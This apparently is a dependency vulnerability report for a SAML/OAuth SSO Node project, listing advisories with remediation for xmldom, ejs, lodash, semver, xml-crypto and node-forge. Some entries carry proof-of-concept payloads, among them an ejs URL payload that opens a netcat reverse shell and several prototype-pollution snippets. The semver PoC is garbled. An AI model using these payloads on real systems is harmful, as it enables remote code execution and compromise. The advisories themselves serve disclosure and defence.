Find, fix and prevent vulnerabilities in your code.
critical severity
- Vulnerable module: xmldom
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-crypto@0.8.4 › xmldom@0.1.19
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmldom@0.1.31
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › xmldom@0.1.31
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Improper Input Validation due to parsing XML that is not well-formed, and contains multiple top-level elements. All the root nodes are being added to the childNodes
collection of the Document
, without reporting or throwing any error.
Workarounds
One of the following approaches might help, depending on your use case:
Instead of searching for elements in the whole DOM, only search in the
documentElement
.Reject a document with a document that has more than 1
childNode
.
PoC
var DOMParser = require('xmldom').DOMParser;
var xmlData = '<?xml version="1.0" encoding="UTF-8"?>\n' +
'<root>\n' +
' <branch girth="large">\n' +
' <leaf color="green" />\n' +
' </branch>\n' +
'</root>\n' +
'<root>\n' +
' <branch girth="twig">\n' +
' <leaf color="gold" />\n' +
' </branch>\n' +
'</root>\n';
var xmlDOM = new DOMParser().parseFromString(xmlData);
console.log(xmlDOM.toString());
This will result with the following output:
<?xml version="1.0" encoding="UTF-8"?><root>
<branch girth="large">
<leaf color="green"/>
</branch>
</root>
<root>
<branch girth="twig">
<leaf color="gold"/>
</branch>
</root>
Remediation
There is no fixed version for xmldom
.
References
high severity
- Vulnerable module: xmldom
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-crypto@0.8.4 › xmldom@0.1.19
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmldom@0.1.31
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › xmldom@0.1.31
Overview
xmldom is an A pure JavaScript W3C standard-based (XML DOM Level 2 Core) DOMParser and XMLSerializer module.
Affected versions of this package are vulnerable to Prototype Pollution through the copy()
function in dom.js
. Exploiting this vulnerability is possible via the p
variable.
DISPUTED This vulnerability has been disputed by the maintainers of the package. Currently the only viable exploit that has been demonstrated is to pollute the target object (rather then the global object which is generally the case for Prototype Pollution vulnerabilities) and it is yet unclear if this limited attack vector exposes any vulnerability in the context of this package.
See the linked GitHub Issue for full details on the discussion around the legitimacy and potential revocation of this vulnerability.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
There is no fixed version for xmldom
.
References
high severity
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs
is a popular JavaScript templating engine.
Affected versions of the package are vulnerable to Remote Code Execution by letting the attacker under certain conditions control the source folder from which the engine renders include files.
You can read more about this vulnerability on the Snyk blog.
There's also a Cross-site Scripting & Denial of Service vulnerabilities caused by the same behaviour.
Details
ejs
provides a few different options for you to render a template, two being very similar: ejs.render()
and ejs.renderFile()
. The only difference being that render
expects a string to be used for the template and renderFile
expects a path to a template file.
Both functions can be invoked in two ways. The first is calling them with template
, data
, and options
:
ejs.render(str, data, options);
ejs.renderFile(filename, data, options, callback)
The second way would be by calling only the template
and data
, while ejs
lets the options
be passed as part of the data
:
ejs.render(str, dataAndOptions);
ejs.renderFile(filename, dataAndOptions, callback)
If used with a variable list supplied by the user (e.g. by reading it from the URI with qs
or equivalent), an attacker can control ejs
options. This includes the root
option, which allows changing the project root for includes with an absolute path.
ejs.renderFile('my-template', {root:'/bad/root/'}, callback);
By passing along the root directive in the line above, any includes would now be pulled from /bad/root
instead of the path intended. This allows the attacker to take control of the root directory for included scripts and divert it to a library under his control, thus leading to remote code execution.
The fix introduced in version 2.5.3
blacklisted root
options from options passed via the data
object.
Disclosure Timeline
- November 27th, 2016 - Reported the issue to package owner.
- November 27th, 2016 - Issue acknowledged by package owner.
- November 28th, 2016 - Issue fixed and version
2.5.3
released.
Remediation
The vulnerability can be resolved by either using the GitHub integration to generate a pull-request from your dashboard or by running snyk wizard
from the command-line interface.
Otherwise, Upgrade ejs
to version 2.5.3
or higher.
References
high severity
- Vulnerable module: ejs
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › ejs@0.8.8
Overview
ejs is a popular JavaScript templating engine.
Affected versions of this package are vulnerable to Remote Code Execution (RCE) by passing an unrestricted render option via the view options
parameter of renderFile
, which makes it possible to inject code into outputFunctionName
.
Note: This vulnerability is exploitable only if the server is already vulnerable to Prototype Pollution.
PoC:
Creation of reverse shell:
http://localhost:3000/page?id=2&settings[view options][outputFunctionName]=x;process.mainModule.require('child_process').execSync('nc -e sh 127.0.0.1 1337');s
Remediation
Upgrade ejs
to version 3.1.7 or higher.
References
high severity
new
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution through the zipObjectDeep
function due to improper user input sanitization in the baseZipObject
function.
PoC
lodash.zipobjectdeep:
const zipObjectDeep = require("lodash.zipobjectdeep");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
lodash:
const test = require("lodash");
let emptyObject = {};
console.log(`[+] Before prototype pollution : ${emptyObject.polluted}`);
//[+] Before prototype pollution : undefined
test.zipObjectDeep(["constructor.prototype.polluted"], [true]);
//we inject our malicious attributes in the vulnerable function
console.log(`[+] After prototype pollution : ${emptyObject.polluted}`);
//[+] After prototype pollution : true
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: semver
- Introduced through: restify@4.3.4
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › restify@4.3.4 › semver@4.3.6Remediation: Upgrade to restify@5.0.0.
Overview
semver is a semantic version parser used by npm.
Affected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS) via the function new Range
, when untrusted user data is provided as a range.
PoC
const semver = require('semver')
const lengths_2 = [2000, 4000, 8000, 16000, 32000, 64000, 128000]
console.log("n[+] Valid range - Test payloads")
for (let i = 0; i =1.2.3' + ' '.repeat(lengths_2[i]) + '<1.3.0';
const start = Date.now()
semver.validRange(value)
// semver.minVersion(value)
// semver.maxSatisfying(["1.2.3"], value)
// semver.minSatisfying(["1.2.3"], value)
// new semver.Range(value, {})
const end = Date.now();
console.log('length=%d, time=%d ms', value.length, end - start);
}
Details
Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.
The Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.
Let’s take the following regular expression as an example:
regex = /A(B|C+)+D/
This regular expression accomplishes the following:
A
The string must start with the letter 'A'(B|C+)+
The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the+
matches one or more times). The+
at the end of this section states that we can look for one or more matches of this section.D
Finally, we ensure this section of the string ends with a 'D'
The expression would match inputs such as ABBD
, ABCCCCD
, ABCBCCCD
and ACCCCCD
It most cases, it doesn't take very long for a regex engine to find a match:
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD")'
0.04s user 0.01s system 95% cpu 0.052 total
$ time node -e '/A(B|C+)+D/.test("ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX")'
1.79s user 0.02s system 99% cpu 1.812 total
The entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.
Most Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as catastrophic backtracking.
Let's look at how our expression runs into this problem, using a shorter string: "ACCCX". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:
- CCC
- CC+C
- C+CC
- C+C+C.
The engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use RegEx 101 debugger to see the engine has to take a total of 38 steps before it can determine the string doesn't match.
From there, the number of steps the engine must use to validate a string just continues to grow.
String | Number of C's | Number of steps |
---|---|---|
ACCCX | 3 | 38 |
ACCCCX | 4 | 71 |
ACCCCCX | 5 | 136 |
ACCCCCCCCCCCCCCX | 14 | 65,553 |
By the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.
Remediation
Upgrade semver
to version 5.7.2, 6.3.1, 7.5.2 or higher.
References
high severity
- Vulnerable module: xml-crypto
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-crypto@0.8.4
Overview
xml-crypto is a xml digital signature and encryption library for Node.js.
Affected versions of this package are vulnerable to Signature Validation Bypass. An attacker can inject an HMAC-SHA1
signature that is valid using only knowledge of the RSA public key. This allows bypassing signature validation.
Remediation
Upgrade xml-crypto
to version 2.0.0 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The function defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
using a constructor
payload.
PoC by Snyk
const mergeFn = require('lodash').defaultsDeep;
const payload = '{"constructor": {"prototype": {"a0": true}}}'
function check() {
mergeFn({}, JSON.parse(payload));
if (({})[`a0`] === true) {
console.log(`Vulnerable to Prototype Pollution via ${payload}`);
}
}
check();
For more information, check out our blog post
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.12 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution via the set
and setwith
functions due to improper user input sanitization.
PoC
lod = require('lodash')
lod.set({}, "__proto__[test2]", "456")
console.log(Object.prototype)
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.17 or higher.
References
high severity
- Vulnerable module: lodash
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xmlbuilder@2.5.2 › lodash@3.2.0
Overview
lodash is a modern JavaScript utility library delivering modularity, performance, & extras.
Affected versions of this package are vulnerable to Prototype Pollution. The functions merge
, mergeWith
, and defaultsDeep
could be tricked into adding or modifying properties of Object.prototype
. This is due to an incomplete fix to CVE-2018-3721
.
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)
If the attacker can control the value of “path”, they can set this value to __proto__.myValue
. myValue
is then assigned to the prototype of the class of the object.
Types of attacks
There are a few methods by which Prototype Pollution can be manipulated:
Type | Origin | Short description |
---|---|---|
Denial of service (DoS) | Client | This is the most likely attack. DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf ). The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object . In this case, the code fails and is likely to cause a denial of service. For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail. |
Remote Code Execution | Client | Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation. For example: eval(someobject.someattr) . In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code. |
Property Injection | Client | The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens. For example: if a codebase checks privileges for someuser.isAdmin , then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true , they can then achieve admin privileges. |
Affected environments
The following environments are susceptible to a Prototype Pollution attack:
Application server
Web server
Web browser
How to prevent
Freeze the prototype— use
Object.freeze (Object.prototype)
.Require schema validation of JSON input.
Avoid using unsafe recursive merge functions.
Consider using objects without prototypes (for example,
Object.create(null)
), breaking the prototype chain and preventing pollution.As a best practice use
Map
instead ofObject
.
For more information on this vulnerability type:
Arteau, Oliver. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018
Remediation
Upgrade lodash
to version 4.17.11 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Improper Verification of Cryptographic Signature due to RSA's PKCS#1
v1.5 signature verification code which does not check for tailing garbage bytes after decoding a DigestInfo
ASN.1 structure. This can allow padding bytes to be removed and garbage data added to forge a signature when a low public exponent is being used.
Remediation
Upgrade node-forge
to version 1.3.0 or higher.
References
high severity
- Vulnerable module: node-forge
- Introduced through: passport-saml-restify@1.0.5
Detailed paths
-
Introduced through: sso-with-oauth-and-saml@jbelmont/sso-with-oauth-and-saml#649f214ae16cf16c0f0a11b6b667d2601eb542dc › passport-saml-restify@1.0.5 › xml-encryption@0.7.4 › node-forge@0.2.24
Overview
node-forge is a JavaScript implementations of network transports, cryptography, ciphers, PKI, message digests, and various utilities.
Affected versions of this package are vulnerable to Prototype Pollution via the util.setPath
function.
Note: version 0.10.0 is a breaking change removing the vulnerable functions.
POC:
const nodeforge = require('node-forge');
var obj = {};
nodeforge.util.setPath(obj, ['__proto__', 'polluted'], true);
console.log(polluted);
Details
Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__
, constructor
and prototype
. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype
are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.
There are two main ways in which the pollution of prototypes occurs:
Unsafe
Object
recursive mergeProperty definition by path
Unsafe Object recursive merge
The logic of a vulnerable recursive merge function follows the following high-level model:
merge (target, source)
foreach property of source
if property exists and is an object on both the target and the source
merge(target[property], source[property])
else
target[property] = source[property]
When the source object contains a property named __proto__
defined with Object.defineProperty()
, the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object
and the source of Object
as defined by the attacker. Properties are then copied on the Object
prototype.
Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source)
.
lodash
and Hoek
are examples of libraries susceptible to recursive merge attacks.
Property definition by path
